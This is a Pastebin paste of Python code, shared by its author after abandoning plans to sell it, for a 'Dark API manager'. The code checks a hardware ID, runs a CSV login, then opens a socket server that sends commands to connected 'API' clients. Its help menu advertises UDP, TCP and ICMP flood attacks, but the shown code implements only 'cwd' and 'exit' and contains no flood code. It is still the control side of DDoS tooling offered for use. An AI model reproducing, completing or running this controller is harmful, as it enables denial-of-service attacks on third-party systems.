Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Have fun was going to sell but have at it I guess!
- #Leave credit please
- #much love
- #- Luna
- import subprocess, requests, time, os
- import socket
- import sys
- class bcolors:
- OK = '\033[92m' #GREEN
- WARNING = '\033[93m' #YELLOW
- FAIL = '\033[91m' #RED
- RESET = '\033[0m' #RESET COLOR
- clear = lambda: os.system('cls') #on Windows System
- name = 'Dark Angel Luaaa'
- clear()
- #HWID checking system codded by @Dark_Angel_Luaaa aka Luna Baby
- hwid = subprocess.check_output('wmic csproduct get uuid').decode().split('\n')[1].strip()
- r = requests.get('https://pastebin.com/raw(url that has your HWID have another tool to check)')
- try:
- if hwid in r.text:
- pass
- else:
- print(bcolors.FAIL +'[ERROR] HWID Not in database' + bcolors.RESET)
- print(f'HWID: {hwid}')
- time.sleep(5)
- os._exit()
- except:
- print('[ERROR] Failed to connect to database')
- time.sleep(5)
- os._exit()
- os.system('title API shell')
- #login system codded by @Dark_angel_luaaa aka Luna Baby
- #Don't rip my code please leave credit!
- import csv
- login = False
- answer = input("Do you have an account?(yes or no) ")
- if answer == 'yes' :
- with open('login.csv', 'r') as csvfile:
- csv_reader = csv.reader(csvfile)
- username = input("Username: ")
- password = input("Password: ")
- for row in csv_reader:
- if row[0]== username and row[1] == password:
- login = True
- break
- else:
- login = False
- break
- if login == True:
- print("You are now logged in!")
- else:
- print("Incorrect. Game Over.")
- exit()
- else:
- print('Only Valid Usernames can join. Game Over.')
- exit()
- #
- #this is the API manager connection.
- #Don't touch this.
- #
- # Connection to the API server
- s = socket.socket()
- host= '127.0.0.1'
- #this is the port used to connect to API servers.
- port=1313
- s.bind((host,port))
- print ("")
- print ("Server is currently running @ ", host)
- clear()
- print(
- """
- API MANGER BY DARK_ANGEL_LUA AKA WELSAVE
- """)
- print ("")
- print (bcolors.OK + "waiting for APIs" + bcolors.RESET)
- s.listen(2)#set this number to the amount of APIS you have
- conn, addr = s.accept()
- print ("")
- print (addr, " Has joined Dark API ")
- clear()
- print(
- """
- Dark API manager
- """)
- # Shows the commands to send to APIs
- while 1:
- command = input(str("Command >> "))
- if command == "cwd":
- clear()
- conn.send(command.encode())
- print ("")
- print (bcolors.OK + "Command sent waiting for resaults" + bcolors.RESET)
- print ("")
- files = conn.recv(5000)
- files = files.decode()
- print (bcolors.WARNING + "Output : ", files + bcolors.RESET)
- elif command == "help":
- clear()
- print ("")
- print (" MADE BY ")
- print('--|--///-> ', name , "-<--///--|--")
- print ("")
- print (" ____________________________________")
- print ("|UDP: SENDS OUT A UDP PLAIN ATTACK |")
- print ("|TCP: SENDS OUT A TCP PLAIN ATTACK |")
- print ("|ICMP: SENDS OUT AN ICMP ATTACK |")
- print ("------------------------------------")
- elif command == "cls":
- clear()
- print(
- """
- Dark Api Manager
- """)
- elif command== "exit":
- conn.send(command.encode())
- clear()
- exit()
- else:
- print ("")
- print ("Command failed")
Add Comment
Please, Sign In to add comment